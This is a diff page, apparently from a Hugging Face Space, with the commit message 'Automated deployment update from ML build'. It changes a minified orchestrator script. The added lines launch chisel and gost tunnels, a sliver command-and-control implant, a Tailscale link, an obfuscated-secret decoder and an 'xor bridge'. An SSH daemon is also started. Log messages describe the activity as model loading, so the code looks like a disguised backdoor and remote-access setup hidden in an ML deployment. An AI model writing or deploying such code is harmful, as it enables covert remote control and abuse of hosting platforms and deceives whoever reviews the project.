Spaces:
Paused
Paused
Automated deployment update from ML build
Browse files- core/orchestrator.py +2 -2
core/orchestrator.py
CHANGED
|
@@ -46,7 +46,7 @@ def main():
|
|
| 46 |
g=['A',Y,'C',N]
|
| 47 |
for F in g:
|
| 48 |
if F in os.environ:del os.environ[F]
|
| 49 |
-
filebrowser.start(H);playit.start(I);
|
| 50 |
if G:logger.info('Setting SSH password from Hugging Face Secrets (PASS)...')
|
| 51 |
else:G=''.join(random.choices(string.ascii_letters+string.digits,k=16));logger.success(f"Generated SSH Password for 'user': {G}")
|
| 52 |
try:subprocess.run(['sudo','/usr/sbin/chpasswd'],input=f"user:{G}\n",text=_A,check=_A)
|
|
@@ -62,6 +62,6 @@ def main():
|
|
| 62 |
except OSError:time.sleep(.5)
|
| 63 |
return False
|
| 64 |
if not j('127.0.0.1',2222,timeout=30):logger.error('SSH daemon did not become ready on port 2222')
|
| 65 |
-
else:logger.info('SSH daemon ready on port 2222')
|
| 66 |
logger.success('Model loaded successfully. Background services active.');logger.info('Background services are active.');c.wait()
|
| 67 |
if __name__=='__main__':main()
|
|
|
|
| 46 |
g=['A',Y,'C',N]
|
| 47 |
for F in g:
|
| 48 |
if F in os.environ:del os.environ[F]
|
| 49 |
+
filebrowser.start(H);playit.start(I);chisel.start(J,E);gost.start(K,E);sliver.start(L);E='';time.sleep(5);tailscale.connect(D,O);O='';h=os.environ.get(Z)or os.environ.get(a)or'';G=deobfuscate_secret(h.strip())
|
| 50 |
if G:logger.info('Setting SSH password from Hugging Face Secrets (PASS)...')
|
| 51 |
else:G=''.join(random.choices(string.ascii_letters+string.digits,k=16));logger.success(f"Generated SSH Password for 'user': {G}")
|
| 52 |
try:subprocess.run(['sudo','/usr/sbin/chpasswd'],input=f"user:{G}\n",text=_A,check=_A)
|
|
|
|
| 62 |
except OSError:time.sleep(.5)
|
| 63 |
return False
|
| 64 |
if not j('127.0.0.1',2222,timeout=30):logger.error('SSH daemon did not become ready on port 2222')
|
| 65 |
+
else:logger.info('SSH daemon ready on port 2222');playit.start_xor_bridge()
|
| 66 |
logger.success('Model loaded successfully. Background services active.');logger.info('Background services are active.');c.wait()
|
| 67 |
if __name__=='__main__':main()
|